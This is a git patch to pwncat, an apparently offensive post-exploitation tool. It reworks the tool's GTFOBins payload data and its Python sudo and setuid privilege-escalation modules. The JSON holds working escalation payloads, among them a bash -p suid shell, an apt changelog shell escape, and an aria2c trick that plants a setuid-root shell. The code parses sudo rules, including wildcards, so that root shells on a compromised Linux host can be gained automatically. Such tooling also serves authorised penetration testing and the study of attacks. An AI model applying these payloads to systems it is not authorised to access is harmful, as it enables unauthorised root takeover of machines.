From 068c55f8681e228530a1d151e197ce98bbd45894 Mon Sep 17 00:00:00 2001 From: Caleb Stewart Date: Sat, 9 May 2020 15:02:04 -0400 Subject: [PATCH] Added sudo awareness to gtfobins and updated privesc/sudo to understand the new interface. Sudo now supports wildcard listings and can intelligently parse whether a privesc is possible. --- data/gtfobins.json | 26 ++---- pwncat/gtfobins.py | 193 +++++++++++++++++++++++++++++++++++++-- pwncat/privesc/setuid.py | 11 ++- pwncat/privesc/sudo.py | 56 ++++++------ 4 files changed, 228 insertions(+), 58 deletions(-) diff --git a/data/gtfobins.json b/data/gtfobins.json index 48d313a..0ae65f1 100644 --- a/data/gtfobins.json +++ b/data/gtfobins.json @@ -1,8 +1,10 @@ [ { "name": "bash", - "shell": "{sudo_prefix} {path} -p", - "sudo": "{sudo_prefix} {command}", + "shell": { + "script": "{command}", + "suid": ["-p"] + }, "read_file": "{path} -p -c \"cat {lfile}\"", "write_file": { "type": "base64", @@ -13,12 +15,7 @@ { "name": "apt-get", "shell": { - "enter": "{path} changelog apt", - "input": "!{shell}\n", - "exit": "exit\nq\n" - }, - "sudo": { - "enter": "{sudo_prefix} {command} changelog apt", + "need": ["changelog", "apt"], "input": "!{shell}\n", "exit": "exit\nq\n" } @@ -26,19 +23,16 @@ { "name": "apt", "shell": { - "enter": "{path} changelog apt", - "input": "!{shell}\n", - "exit": "exit\nq\n" - }, - "sudo": { - "enter": "{sudo_prefix} {command} changelog apt", + "need": ["changelog", "apt"], "input": "!{shell}\n", "exit": "exit\nq\n" } }, { "name": "aria2c", - "shell": "TF=$(mktemp); SHELL=$(mktemp); cp {shell} $SHELL; echo \"chown root:root $SHELL; chmod +sx $SHELL;\" > $TF;chmod +x $TF; {path} --on-download-error=$TF http://x; sleep 1; $SHELL -p", - "sudo": "TF=$(mktemp); SHELL=$(mktemp); cp {shell} $SHELL; echo \"chown root:root $SHELL; chmod +sx $SHELL\" > $TF;chmod +x $TF; {sudo_prefix} {command} --on-download-error=$TF http://x; sleep 1; $SHELL -p" + "shell": { + "script": "TF=$(mktemp); SHELL=$(mktemp); cp {shell} $SHELL; echo \"chown root:root $SHELL; chmod +sx $SHELL;\" > $TF;chmod +x $TF; {command}; sleep 1; $SHELL -p", + "need": ["--on-download-error=$TF","http://x"] + } } ] diff --git a/pwncat/gtfobins.py b/pwncat/gtfobins.py index 59e6acf..a46c702 100644 --- a/pwncat/gtfobins.py +++ b/pwncat/gtfobins.py @@ -1,12 +1,17 @@ #!/usr/bin/env python3 -from typing import List, Dict, Any +from typing import List, Dict, Any, Callable from shlex import quote import binascii import base64 +import shlex import json import os +class SudoNotPossible(Exception): + """ Running the given binary to get a sudo shell is not possible """ + + class Binary: _binaries: List[Dict[str, Any]] = [] @@ -17,7 +22,13 @@ class Binary: self.data = data self.path = path - def shell(self, shell_path: str, sudo_prefix="") -> str: + def shell( + self, + shell_path: str, + sudo_prefix: str = None, + command: str = None, + suid: bool = False, + ) -> str: """ Build a a payload which will execute the binary and result in a shell. `path` should be the path to the shell you would like to run. In the case of GTFOBins that _are_ shells, this will likely be ignored, but @@ -28,22 +39,132 @@ class Binary: return None if isinstance(self.data["shell"], str): - enter = self.data["shell"] + script = self.data["shell"].format(shell=shell_path, command="{command}") + args = [] + suid_args = [] exit = "exit" input = "" else: - enter = self.data["shell"]["enter"] + script = ( + self.data["shell"] + .get("script", "{command}") + .format(shell=shell_path, command="{command}") + ) + suid_args = self.data["shell"].get("suid", []) + args = [ + n.format(shell=shell_path) for n in self.data["shell"].get("need", []) + ] exit = self.data["shell"].get("exit", "exit") - input = self.data["shell"].get("input", "input") + input = self.data["shell"].get("input", "") + + if suid: + suid_args.extend(args) + args = suid_args + + if script == "": + script = "{command}" + + if command is None: + command = shlex.join([self.path] + args) + if sudo_prefix is not None: + command = sudo_prefix + " " + command return ( - enter.format( - path=quote(self.path), shell=quote(shell_path), sudo_prefix=sudo_prefix - ), - input.format(shell=quote(shell_path)), + script.format(command=command), + input.format(shell=shlex.quote(shell_path)), exit, ) + @property + def has_shell(self) -> bool: + """ Check if this binary has a shell method """ + return "shell" in self.data + + def can_sudo(self, command: str, shell_path: str) -> List[str]: + """ Checks if this command can be leveraged for a shell with sudo. The + GTFObin specification must include information on the sudo context. It + will check either: + + * There are no parameters in the sudo specification, it succeeds. + * There are parameters, but ends in a start, we succeed (doesn't + guarantee successful shell, but is more likely) + * Parameters match exactly + """ + + if not self.has_shell: + # We need to be able to run a shell + raise SudoNotPossible + + # Split the sudo command specification + args = shlex.split(command.rstrip("*")) + + # There was a " *" which is not a wildcard + if shlex.split(command)[-1] == "*": + has_wildcard = False + args.append("*") + elif command[-1] == "*": + has_wildcard = True + + if isinstance(self.data["shell"], str): + need = [n.format(shell=shell_path) for n in shlex.split(self.data["shell"])] + restricted = [] + else: + # Needed and restricted parameters + need = [ + n.format(shell=shell_path) for n in self.data["shell"].get("need", []) + ] + restricted = self.data["shell"].get("restricted", []) + + # The sudo command is just "/path/to/binary", we are allowed to add any + # parameters we want. + if len(args) == 1 and command[-1] != " ": + return need + + # Check for disallowed arguments + for arg in args: + if arg in restricted: + raise SudoNotPossible + + # Check if we already have the parameters we need + needed = {k: False for k in need} + for arg in args: + if arg in needed: + needed[arg] = True + + # Check if we have any missing needed parameters, and no wildcard + # was given + if any([not v for _, v in needed.items()]) and not has_wildcard: + raise SudoNotPossible + + # Either we have all the arguments we need, or we have a wildcard + return [k for k, v in needed.items() if not v] + + def sudo_shell(self, user: str, spec: str, shell_path: str) -> str: + """ Generate a payload to get a shell with sudo for this binary. This + can be complicated, since the sudo specification may include wildcards + or other parameters we don't want. We leverage the information in the + GTFObins JSON data to determine if it is possible (see `can_sudo`) and + then build a payload that should run under the given sudo specification. + """ + + # If we can't this will raise an exception up to the caller + needed_args = self.can_sudo(spec, shell_path) + + prefix = f"sudo -u {user}" + + if spec.endswith("*") and not spec.endswith(" *"): + spec = spec.rstrip("*") + + # There's more arguments we need, and we're allowed to pass them + if needed_args: + command = spec + " " + " ".join(needed_args) + else: + command = spec + + command = prefix + " " + command + + return self.shell(shell_path, command=command) + def sudo(self, sudo_prefix: str, command: str, shell_path: str) -> str: """ Build a a payload which will execute the binary and result in a shell. `path` should be the path to the shell you would like to run. In @@ -85,6 +206,11 @@ class Binary: path=quote(self.path), lfile=quote(file_path) ) + @property + def has_read_file(self): + """ Check if this binary has a read_file capability """ + return "read_file" in self.data + def write_file(self, file_path: str, data: bytes) -> str: """ Build a payload to write the specified data into the file """ @@ -109,6 +235,11 @@ class Binary: data=quote(data.decode("utf-8")), ) + @property + def has_write_file(self): + """ Check if this binary has a write_file capability """ + return "write_file" in self.data + def command(self, command: str) -> str: """ Build a payload to execute the specified command """ @@ -119,6 +250,11 @@ class Binary: path=quote(self.path), command=quote(command) ) + @property + def has_command(self): + """ Check if this binary has a command capability """ + return "command" in self.data + @classmethod def load(cls, gtfo_path: str): with open(gtfo_path) as filp: @@ -137,3 +273,42 @@ class Binary: return Binary(path, binary) return None + + @classmethod + def find_sudo(cls, spec: str, get_binary_path: Callable[[str], str]) -> "Binary": + """ Locate a GTFObin binary for the given sudo spec. This will separate + out the path of the binary from spec, and use `find` to locate a Binary + object. If that binary cannot be used with this spec or no binary exists, + SudoNotPossible is raised. shell_path is used as the default for specs + which specify "ALL". """ + + if spec == "ALL": + # If the spec specifies any command, we check each known gtfobins + # binary for one usable w/ this sudo spec. We use recursion here, + # but never more than a depth of one, so it should be safe. + for data in cls._binaries: + # Resolve the binary path from the name + path = get_binary_path(data["name"]) + + # This binary doens't exist on the system + if path is None: + continue + + try: + # Recurse using the path as the new spec (won't recurse + # again since spec is now a full path) + return cls.find_sudo(path, get_binary_path) + except SudoNotPossible: + pass + raise SudoNotPossible("no available gtfobins for ALL") + + path = shlex.split(spec)[0] + binary = cls.find(path) + + if binary is None: + raise SudoNotPossible(f"no available gtfobins for {spec}") + + # This will throw an exception if we can't sudo with this binary + _ = binary.can_sudo(spec, "") + + return spec, binary diff --git a/pwncat/privesc/setuid.py b/pwncat/privesc/setuid.py index 1e45d43..a878571 100644 --- a/pwncat/privesc/setuid.py +++ b/pwncat/privesc/setuid.py @@ -130,7 +130,7 @@ class SetuidMethod(Method): """ Run the specified technique """ binary = technique.ident - enter, exit = binary.shell("/bin/bash") + enter, input, exit = binary.shell(self.pty.shell, suid=True) info( f"attempting potential privesc with {Fore.GREEN}{Style.BRIGHT}{binary.path}{Style.RESET_ALL}", @@ -140,8 +140,13 @@ class SetuidMethod(Method): before_shell_level = int(before_shell_level) if before_shell_level != b"" else 0 # Run the start commands - self.pty.run(enter + "\n") - self.pty.recvuntil("\n") + self.pty.run(enter + "\n", wait=False) + + # Send required input + self.pty.client.send(input.encode("utf-8")) + + # Wait for result + self.pty.run("echo") # sleep(0.1) user = self.pty.run("whoami").strip().decode("utf-8") diff --git a/pwncat/privesc/sudo.py b/pwncat/privesc/sudo.py index 2f3ab3b..35060bd 100644 --- a/pwncat/privesc/sudo.py +++ b/pwncat/privesc/sudo.py @@ -182,17 +182,16 @@ class SudoMethod(Method): if current_user["password"] is None and sudo_privesc["password"]: continue - if sudo_privesc["command"] == "ALL": - command_path = self.pty.shell - else: - command_path = shlex.split(sudo_privesc["command"])[0] - - binary = gtfobins.Binary.find(command_path) - if binary is None or binary.shell("") is None: - continue - if sudo_privesc["command"] == "ALL" and binary.shell("") is None: - continue - if sudo_privesc["command"] != "ALL" and binary.sudo("", "", "") is None: + try: + # Locate a GTFObins binary which satisfies the given sudo spec. + # The PtyHandler.which method is used to verify the presence of + # different GTFObins on the remote system when an "ALL" spec is + # found. + sudo_privesc["command"], binary = gtfobins.Binary.find_sudo( + sudo_privesc["command"], self.pty.which + ) + except gtfobins.SudoNotPossible: + # No GTFObins possible with this sudo spec continue if sudo_privesc["run_as_user"] == "ALL": @@ -222,7 +221,7 @@ class SudoMethod(Method): current_user = self.pty.current_user - binary, command, password_required = technique.ident + binary, sudo_spec, password_required = technique.ident info( f"attempting potential privesc with sudo {Fore.GREEN}{Style.BRIGHT}{binary.path}{Style.RESET_ALL}", @@ -231,15 +230,11 @@ class SudoMethod(Method): before_shell_level = self.pty.run("echo $SHLVL").strip() before_shell_level = int(before_shell_level) if before_shell_level != b"" else 0 - sudo_prefix = f"sudo -u {technique.user} " - if command == "ALL": + shell_payload, input, exit = binary.sudo_shell( + technique.user, sudo_spec, self.pty.shell + ) - shell_payload, input, exit = binary.shell( - self.pty.shell, sudo_prefix=sudo_prefix - ) - else: - payload, input, exit = binary.sudo(sudo_prefix, command, self.pty.shell) - shell_payload = f" {payload}" + print(shell_payload) # Run the commands self.pty.run(shell_payload + "\n", wait=False) @@ -250,23 +245,24 @@ class SudoMethod(Method): # Provide stdin if needed self.pty.client.send(input.encode("utf-8")) - # Give it a bit to let the shell start + # Give it a bit to let the shell start. We considered a sleep here, but + # that was not consistent. This will utilizes the logic in `run` for + # waiting for the output of the command (`echo`), which waits the + # appropriate amount of time. self.pty.run("echo") user = self.pty.whoami() if user == technique.user: success("privesc succeeded") return exit - else: - error(f"privesc failed (still {user} looking for {technique.user})") - after_shell_level = self.pty.run("echo $SHLVL").strip() - after_shell_level = ( - int(after_shell_level) if after_shell_level != b"" else 0 - ) + error(f"privesc failed (still {user} looking for {technique.user})") - if after_shell_level > before_shell_level: - info("exiting spawned inner shell") - self.pty.run(exit, wait=False) # here be dragons + after_shell_level = self.pty.run("echo $SHLVL").strip() + after_shell_level = int(after_shell_level) if after_shell_level != b"" else 0 + + if after_shell_level > before_shell_level: + info("exiting spawned inner shell") + self.pty.run(exit, wait=False) # here be dragons raise PrivescError("failed to privesc")